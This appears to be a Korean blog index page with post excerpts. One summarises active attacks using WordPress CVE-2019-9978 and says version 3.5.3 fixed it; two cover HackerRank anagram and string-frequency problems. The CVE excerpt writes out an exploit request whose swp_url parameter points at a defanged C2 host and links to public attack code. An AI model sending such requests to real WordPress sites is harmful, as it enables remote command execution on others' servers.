[cve-2019-9978] 특정 파라미터를 이용한 wordpress 원격 명령 실행 공격 swp_debug=load_option과 swp_url 파라미터를 이용한 wordpress RCE 공격이 발생하고 있다. * https://www.wordfence.com/blog/2019/03/recent-social-warfare-vulnerability-allowed-remote-code-execution/ 아래와 같은 요청을 할 경우 취약한 서버는 바로 원격명령이 가능하다 (ls, wget 등등..) GET /wp-admin/admin-post.php?swp_debug=load_option&swp_url=hxxp://c2 * 공격 코드 https://github.com/mpgn/CVE-2019-9978 * 해당 취약점은 3.5.3버전에서 조치했다고 한다 https://www.cybersecurit.. 더보기 [Hackerrank - algorithm] Sherlock and Anagrams =========================================================================================※ 문제 링크https://www.hackerrank.com/challenges/sherlock-and-anagrams/problem?h_l=interview&playlist_slugs%5B%5D=interview-preparation-kit&playlist_slugs%5B%5D=dictionaries-hashmaps========================================================================================= q개의 문자열을 입력받았을 때 각각 문자열에서 anagram* 쌍의 갯수를.. 더보기 [Hackerrank - algorithm] Sherlock and the Valid String =========================================================================================※ 문제 링크https://www.hackerrank.com/challenges/sherlock-and-valid-string/problem========================================================================================= 한 문자열을 입력 받았을 때 문자열 내 문자 빈도수가 일치하는지 확인하는 문제.단, 문자 빈도수가 일치하지 않을 경우 한번의 삭제 기회가 주어진다. 변수는 다음과 같다.s = 문자열 예를 들어, 1) s = aabbcd 를 입력받았을 경우 "NO" (a.. 더보기 이전 1 2 3 4 5 다음